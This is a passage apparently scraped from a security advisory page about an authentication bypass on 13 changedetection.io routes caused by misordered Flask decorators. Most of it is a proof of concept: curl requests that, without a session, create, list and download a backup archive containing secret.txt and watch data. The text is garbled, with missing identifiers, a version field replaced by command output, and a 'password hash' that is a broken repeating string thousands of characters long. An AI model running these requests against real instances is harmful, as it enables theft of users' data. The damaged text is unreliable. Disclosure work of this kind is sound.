changedetection.io Authentication Bypass on 13 Routes via Decorator Misuse

Vulnerability Overview In 13 route files of , the decorator is incorrectly placed outside (before) the decorator. In the Flask framework, must be the outer decorator to correctly register the function. When the order is reversed, registers the original un-decorated function, causing the authentication wrapper (auth wrapper) to never be executed in the call chain. This allows all 13 routes to bypass the authentication mechanism entirely, enabling unauthorized access. Scope of Impact Affected Versions: http://127.0.0.1:5057/login?next=/ $ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5057/settings Settings page: HTTP 302 (auth required, redirects to /login) Password is set. Unauthenticated requests to / and /settings are properly redirected to /login. === PHASE 2: Authentication Bypass on Backup Routes === (All requests made WITHOUT any session cookie) --- Exploit 1: Trigger backup creation --- $ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5057/backups/request-backup Response: HTTP 302 -> http://127.0.0.1:5057/backups/ (302 redirects to /backups/ listing page, NOT to /login - backup was created) --- Exploit 2: List backups page --- $ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5057/backups/ Response: HTTP 200 --- Exploit 3: Extract backup filenames --- $ curl -s http://127.0.0.1:5057/backups/ Found: changedetection-backup-20260331085425.zip --- Exploit 4: Download backup without authentication --- $ curl -s -o /tmp/stolen_backup.zip http://127.0.0.1:5057/backups/download/changedetection-backup-20260331085425.zip Response: HTTP 200 $ file /tmp/stolen_backup.zip /tmp/stolen_backup.zip: Zip archive data, at least v2.0 to extract, compression method=deflate $ ls -la /tmp/stolen_backup.zip -rw-r--r-- 1 root root 92559 Mar 31 08:54 /tmp/stolen_backup.zip $ unzip -l /tmp/stolen_backup.zip Archive: /tmp/stolen_backup.zip Length Date Time Name --------- ---------- ----- ---- 26006 2026-03-31 08:54 url-watches.json 64 2026-03-31 08:52 secret.txt 3582 2026-03-31 08:52 4f72f7ab-0d8e-4388-8568-f6137fa76e0d/4b7f6159f998102183b8a6599f6f8a93e.txt.br 4395 2026-03-31 08:52 4f72f7ab-0d8e-4388-8568-f6137fa76e0d/17f4911111.html.br 48877 2026-03-31 08:52 cb085081-19d1-47af-abdc-f40876789215/62b3a20307f9a8e2d5f373c7658dc2.txt.br 51 2026-03-31 08:52 cb085081-19d1-47af-abdc-f40876789215/history.txt 48877 2026-03-31 08:52 cb085081-19d1-47af-abdc-f40876789215/17f4911111.html.br 73 2026-03-31 08:54 url-list.txt 155 2026-03-31 08:54 url-list-with-tags.txt --------- ------- 114721 18 files --- Exploit 5: Extract sensitive data from backup --- (Extracted password hash: d64b644c5f8e9f7c7c763561d2962f8a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9a0d5f9

Goal Reached Thanks to every supporter — we hit 100%!

changedetection.io Authentication Bypass on 13 Routes via Decorator Misuse

More from this source